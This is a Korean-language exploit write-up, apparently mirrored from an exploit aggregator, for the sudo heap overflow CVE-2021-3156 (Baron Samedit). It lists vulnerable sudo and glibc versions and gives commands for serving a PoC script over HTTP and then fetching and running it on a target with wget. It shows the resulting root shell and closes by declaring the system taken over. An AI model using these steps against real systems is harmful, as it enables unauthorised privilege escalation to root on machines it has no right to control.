Exploit for Review.

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TOPSKIYPAVELQWERTYGANG-REVIEW.CVE-2021-3156
# 👑 CVE-2021-3156 (Baron Samedit) — sudo에서 힙 오버플로우를 통한 권한 상승

📅 **날짜:** 2025-06-08  
✍️ **작성자:** @TopskiyPavelQwertyGang 🧠 보안 연구원 | 레드팀 애호가

* * *

## 🧠 CVE 개요

  * **CVE-ID:** CVE-2021-3156
  * **유형:** Heap-based Buffer Overflow
  * **구성요소:** `sudoedit` (sudo)
  * **액세스 레벨:** Local
  * **목표:** 루트 권한 획득



* * *

## 🧠 설명

`sudoedit`의 힙 오버플로우로 인해 로컬 사용자가 미리 준비된 매개변수로 `sudoedit` 명령을 실행할 때 루트 액세스 권한을 얻을 수 있습니다.

이 취약점은 `sudo` < 1.9.5p2 버전에서 활성화되며, 인기 있는 Ubuntu/Debian/CentOS 이미지를 포함합니다. ASLR이 활성화된 경우에도 여전히 악용 가능합니다.

* * *

## 🐾 악용 조건

root@kitploit:~
    
    
    OS     : Ubuntu 20.04.3 LTS
    glibc  : 2.31 (tcache ON)
    sudo   : 1.8.31 (유약함)
    ASLR   : 2 (활성화)
    

* * *

## 🧪 환경 준비

  1. `glibc` 및 `sudo` 버전 확인:



root@kitploit:~
    
    
    ldd --version
    sudo --version
    

  2. 내장 HTTP 서버를 통해 다른 머신에서 PoC 스크립트 전송:



root@kitploit:~
    
    
    python3 -m http.server 80
    

  3. 대상 머신에서 PoC 다운로드 및 실행:



root@kitploit:~
    
    
    wget http://<IP>:80/exploit_nss.py
    python3 exploit_nss.py
    

* * *

## 🚀 PoC 성공적 악용

root@kitploit:~
    
    
    $ python3 exploit_nss.py
    # whoami
    root
    

* * *

## 🧾 결론

`CVE-2021-3156` 악용은 `glibc` ≥ 2.26이고 `sudo`가 취약한 버전인 경우 ASLR이 활성화된 상태에서도 가능합니다. 가장 안정적인 익스플로잇은 올바른 NSS 구성에서 첫 번째 시도에 성공하는 `exploit_nss.py`입니다.

🧨 **시스템이 제어되었습니다.**

* * *